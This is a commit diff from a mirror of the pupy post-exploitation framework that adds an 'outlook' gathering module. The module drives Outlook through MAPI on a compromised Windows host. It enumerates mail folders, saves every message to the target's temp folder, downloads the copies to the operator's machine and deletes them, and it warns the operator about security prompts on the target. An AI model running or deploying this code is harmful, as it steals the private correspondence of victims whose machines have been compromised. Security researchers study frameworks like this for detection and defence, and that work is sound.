mirror of https://github.com/n1nj4sec/pupy.git
New module (outlook) for communicate with Outlook application trough MAPI.
This commit is contained in:
parent
da8b092799
commit
38f91a899d
|
@ -0,0 +1,223 @@
|
||||||
|
# -*- coding: UTF8 -*-
|
||||||
|
|
||||||
|
import os, logging, sys, time
|
||||||
|
from rpyc.utils.classic import download
|
||||||
|
from pupylib.utils.term import colorize
|
||||||
|
|
||||||
|
class outlook():
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
|
||||||
|
OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8}
|
||||||
|
OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5}
|
||||||
|
|
||||||
|
def __init__(self, module, rootPupyPath, localFolder="output/", folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG'):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
self.module = module
|
||||||
|
self.outlook = None
|
||||||
|
self.mapi = None
|
||||||
|
self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.module.client.desc['hostname'].encode('utf-8'), self.module.client.desc['user'].encode('utf-8'), self.module.client.desc['macaddr'].encode('utf-8').replace(':','')))
|
||||||
|
self.foldersAndSubFolders = None
|
||||||
|
self.folderId = folderId
|
||||||
|
self.folderIndex = folderIndex
|
||||||
|
self.msgSaveType = msgSaveType
|
||||||
|
self.inbox = None
|
||||||
|
self.constants = None
|
||||||
|
self.sleepTime = sleepTime
|
||||||
|
self.remoteTempFolder = self.module.client.conn.modules['os.path'].expandvars("%TEMP%")
|
||||||
|
self.__connect__()
|
||||||
|
if not os.path.exists(self.localFolder):
|
||||||
|
logging.debug("Creating the {0} folder locally".format(self.localFolder))
|
||||||
|
os.makedirs(self.localFolder)
|
||||||
|
|
||||||
|
def __connect__(self):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
#self.outlook = self.module.client.conn.modules['win32com.client'].Dispatch("Outlook.Application")
|
||||||
|
self.outlook = self.module.client.conn.modules['win32com.client.gencache'].EnsureDispatch("Outlook.Application")
|
||||||
|
self.mapi = self.outlook.GetNamespace("MAPI")
|
||||||
|
if self.folderId == None : self.setDefaultFolder(folderIndex=self.folderIndex)
|
||||||
|
else : self.setFolderFromId(folderId=self.folderId)
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
logging.debug("Closing Outlook link...")
|
||||||
|
self.outlook.Quit()
|
||||||
|
|
||||||
|
def __getOlDefaultFoldersNameFromIndex__(self, folderIndex):
|
||||||
|
'''
|
||||||
|
Return None if folderIndex not found in OlDefaultFolders
|
||||||
|
Otherwise returns Name of the folder
|
||||||
|
'''
|
||||||
|
found = False
|
||||||
|
for k in self.OL_DEFAULT_FOLDERS:
|
||||||
|
if self.OL_DEFAULT_FOLDERS[k] == folderIndex:
|
||||||
|
return k
|
||||||
|
return ""
|
||||||
|
|
||||||
|
def setDefaultFolder(self, folderIndex=None):
|
||||||
|
'''
|
||||||
|
See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex
|
||||||
|
Return True if done
|
||||||
|
Otherwise returns False
|
||||||
|
'''
|
||||||
|
if folderIndex == None:
|
||||||
|
folderIndex = self.OL_DEFAULT_FOLDERS['olFolderInbox']
|
||||||
|
folderName = self.__getOlDefaultFoldersNameFromIndex__(folderIndex)
|
||||||
|
if folderName == None:
|
||||||
|
logging.warning('Impossible to move the default folder to {0}. This folder index is not in {1}'.format(folderIndex, self.OL_DEFAULT_FOLDERS))
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
logging.debug("Moving outlook default folder to {0}".format(folderName))
|
||||||
|
self.inbox = self.mapi.GetDefaultFolder(folderIndex)
|
||||||
|
return True
|
||||||
|
|
||||||
|
def setFolderFromId(self, folderId):
|
||||||
|
'''
|
||||||
|
See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex
|
||||||
|
Return True if done
|
||||||
|
Otherwise returns False
|
||||||
|
'''
|
||||||
|
if folderId == None:
|
||||||
|
logging.error("Impossible to set Outlook folder to None")
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
logging.debug("Moving outlook default folder to {0}".format(folderId))
|
||||||
|
self.inbox = self.mapi.GetFolderFromID(folderId)
|
||||||
|
return True
|
||||||
|
|
||||||
|
"""
|
||||||
|
def getAnEmail(self, nb):
|
||||||
|
'''
|
||||||
|
nb: number of the email
|
||||||
|
nb>=1
|
||||||
|
'''
|
||||||
|
return self.inbox.Items[nb]
|
||||||
|
"""
|
||||||
|
|
||||||
|
"""
|
||||||
|
def getEmailsWithSubject(self, subject):
|
||||||
|
'''
|
||||||
|
Returns a list which contains all emails (mailItem objects) when subject is in the email subject
|
||||||
|
'''
|
||||||
|
emails = []
|
||||||
|
for anEmail in self.inbox.Items:
|
||||||
|
if subject in anEmail.Subject:
|
||||||
|
emails.append(anEmail)
|
||||||
|
return emails
|
||||||
|
"""
|
||||||
|
|
||||||
|
def getEmails(self):
|
||||||
|
'''
|
||||||
|
Returns a list which contains all mailitems
|
||||||
|
'''
|
||||||
|
emails = []
|
||||||
|
logging.debug("Getting {0} emails...".format(self.getNbOfEmails()))
|
||||||
|
for anEmail in self.inbox.Items:
|
||||||
|
emails.append(anEmail)
|
||||||
|
return emails
|
||||||
|
|
||||||
|
def downloadAnEmail(self, mailItem):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
ctime, subjectCleaned, receivedTime, path, filename = str(time.time()).replace('.',''), "Unknown", "Unknown", "", ""
|
||||||
|
try:
|
||||||
|
subjectCleaned = ''.join(l for l in mailItem.Subject.encode('ascii','ignore') if l.isalnum())
|
||||||
|
receivedTime = str(mailItem.ReceivedTime).replace('/','').replace('\\','').replace(':','-').replace(' ','_')
|
||||||
|
except Exception,e:
|
||||||
|
logging.warning("Impossible to encode email subject or receivedTime:{0}".format(repr(e)))
|
||||||
|
filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg')
|
||||||
|
path = self.module.client.conn.modules['os.path'].join(self.remoteTempFolder,filename)
|
||||||
|
logging.debug('Saving temporarily the email on the remote path {0}'.format(path))
|
||||||
|
#mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG'])
|
||||||
|
mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType])
|
||||||
|
try:
|
||||||
|
self.module.client.conn.modules['os'].rename(path, path) #test if the file is not opened by another process
|
||||||
|
except OSError as e:
|
||||||
|
time.sleep(self.sleepTime)
|
||||||
|
logging.debug("Downloading the file {0} to {1}".format(path, self.localFolder))
|
||||||
|
download(self.module.client.conn, path, os.path.join(self.localFolder, filename))
|
||||||
|
logging.debug("Deleting {0}".format(path))
|
||||||
|
self.module.client.conn.modules.os.remove(path)
|
||||||
|
|
||||||
|
def downloadAllEmails(self):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
logging.debug("Downloading all emails")
|
||||||
|
for i, anEmail in enumerate(self.getEmails()):
|
||||||
|
self.downloadAnEmail(anEmail)
|
||||||
|
sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,self.getNbOfEmails(), colorize("[+] ","green")))
|
||||||
|
sys.stdout.flush()
|
||||||
|
print "\n"
|
||||||
|
|
||||||
|
"""
|
||||||
|
def getAllSubjects(self):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
subjects = []
|
||||||
|
logging.debug("Getting subjects of {0} emails...".format(self.getNbOfEmails()))
|
||||||
|
for anEmail in self.inbox.Items:
|
||||||
|
subjects.append(anEmail.Subject)
|
||||||
|
return subjects
|
||||||
|
"""
|
||||||
|
|
||||||
|
def getNbOfEmails(self):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
#nc = self.inbox.Count
|
||||||
|
nb = len(self.inbox.Items)
|
||||||
|
logging.debug("Getting number of emails... {0} emails".format(nb))
|
||||||
|
return nb
|
||||||
|
|
||||||
|
def __getAllFolders__(self):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
folders = {}
|
||||||
|
for inx, folder in enumerate(list(self.mapi.Folders)):
|
||||||
|
logging.debug("New folder: {0}({1})".format(folder.Name, folder.EntryID))
|
||||||
|
folders[folder.Name] = {}
|
||||||
|
if "Dossiers publics" not in folder.Name and "Public folders" not in folder.Name: #Bug in my version of outlook when getting emails in public folder
|
||||||
|
for inx,subfolder in enumerate(list(folder.Folders)):
|
||||||
|
logging.debug("{0}->{1} ({2})".format(inx, subfolder.Name.encode('utf-8'), subfolder.EntryID))
|
||||||
|
folders[folder.Name][subfolder.Name]=subfolder.EntryID
|
||||||
|
return folders
|
||||||
|
|
||||||
|
def printFoldersAndSubFolders(self):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
foldersAndSubFolders = self.__getAllFolders__()
|
||||||
|
for i,folder in enumerate(foldersAndSubFolders):
|
||||||
|
print "{0}: {1}".format(i, folder.encode('utf-8'))
|
||||||
|
for j,subFolder in enumerate(foldersAndSubFolders[folder]):
|
||||||
|
print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8'))
|
||||||
|
|
||||||
|
"""
|
||||||
|
def __getRecipientsAddresses__(self, RecipientsObject):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
recipients = []
|
||||||
|
for aRecipient in RecipientsObject:
|
||||||
|
recipients.append(aRecipient.Address)
|
||||||
|
return recipients
|
||||||
|
|
||||||
|
def __getSenderAddress__(self, mailItem):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
if mailItem.SenderEmailType=='EX':
|
||||||
|
try:
|
||||||
|
return mailItem.Sender.GetExchangeUser().PrimarySmtpAddress
|
||||||
|
except Exception,e:
|
||||||
|
logging.warning("Impossible to get sender email address: {0}".format(e))
|
||||||
|
return mailItem.SenderEmailAddress
|
||||||
|
|
||||||
|
def printMailItem(self, mailItem):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
print "ReceivedTime: {0}".format(mailItem.ReceivedTime)
|
||||||
|
#print "Sender: {0}".format(self.__getSenderAddress__(mailItem))
|
||||||
|
#print "Recipients: {0}".format(self.__getRecipientsAddresses__(mailItem.Recipients))
|
||||||
|
print "Subject: {0}".format(repr(mailItem.Subject))
|
||||||
|
print "Body: {0}".format(repr(mailItem.Body))
|
||||||
|
"""
|
|
@ -0,0 +1,54 @@
|
||||||
|
# -*- coding: UTF8 -*-
|
||||||
|
|
||||||
|
import os
|
||||||
|
from pupylib.PupyModule import *
|
||||||
|
from rpyc.utils.classic import upload
|
||||||
|
from modules.lib.windows.outlook import outlook
|
||||||
|
__class_name__="Outlook"
|
||||||
|
|
||||||
|
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
|
||||||
|
|
||||||
|
@config(compat="windows", category="gather")
|
||||||
|
class Outlook(PupyModule):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
dependencies=["win32api","win32com","pythoncom","winerror"]
|
||||||
|
def init_argparse(self):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
self.arg_parser = PupyArgumentParser(prog="outlook", description=self.__doc__)
|
||||||
|
self.arg_parser.add_argument('-l', dest='foldersAndSubFolders', action='store_true', help="Get Outlook folders and subfolders")
|
||||||
|
self.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)")
|
||||||
|
self.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen (see options below)")
|
||||||
|
self.arg_parser.add_argument('-f', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)")
|
||||||
|
self.arg_parser.add_argument('-folder-default', choices=list(outlook.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)")
|
||||||
|
self.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)")
|
||||||
|
self.arg_parser.add_argument('-otype', choices=list(outlook.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)")
|
||||||
|
|
||||||
|
def run(self, args):
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
if args.folderId != None:
|
||||||
|
self.warning('Notice the folder Id option will be used and the default folder option will be disabled')
|
||||||
|
if args.foldersAndSubFolders == True:
|
||||||
|
self.success("Outlook folders and subfolders:")
|
||||||
|
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder])
|
||||||
|
outl.printFoldersAndSubFolders()
|
||||||
|
outl.close()
|
||||||
|
if args.numberOfEmails == True:
|
||||||
|
self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder))
|
||||||
|
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId)
|
||||||
|
self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, outl.getNbOfEmails()))
|
||||||
|
outl.close()
|
||||||
|
if args.downloadAllEmails == True:
|
||||||
|
self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder))
|
||||||
|
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType)
|
||||||
|
nb = outl.getNbOfEmails()
|
||||||
|
if nb == 0:
|
||||||
|
self.error("This box is empty. You should choose another outlook folder")
|
||||||
|
else:
|
||||||
|
self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder))
|
||||||
|
self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.")
|
||||||
|
self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)")
|
||||||
|
outl.downloadAllEmails()
|
||||||
|
outl.close()
|
Loading…
Reference in New Issue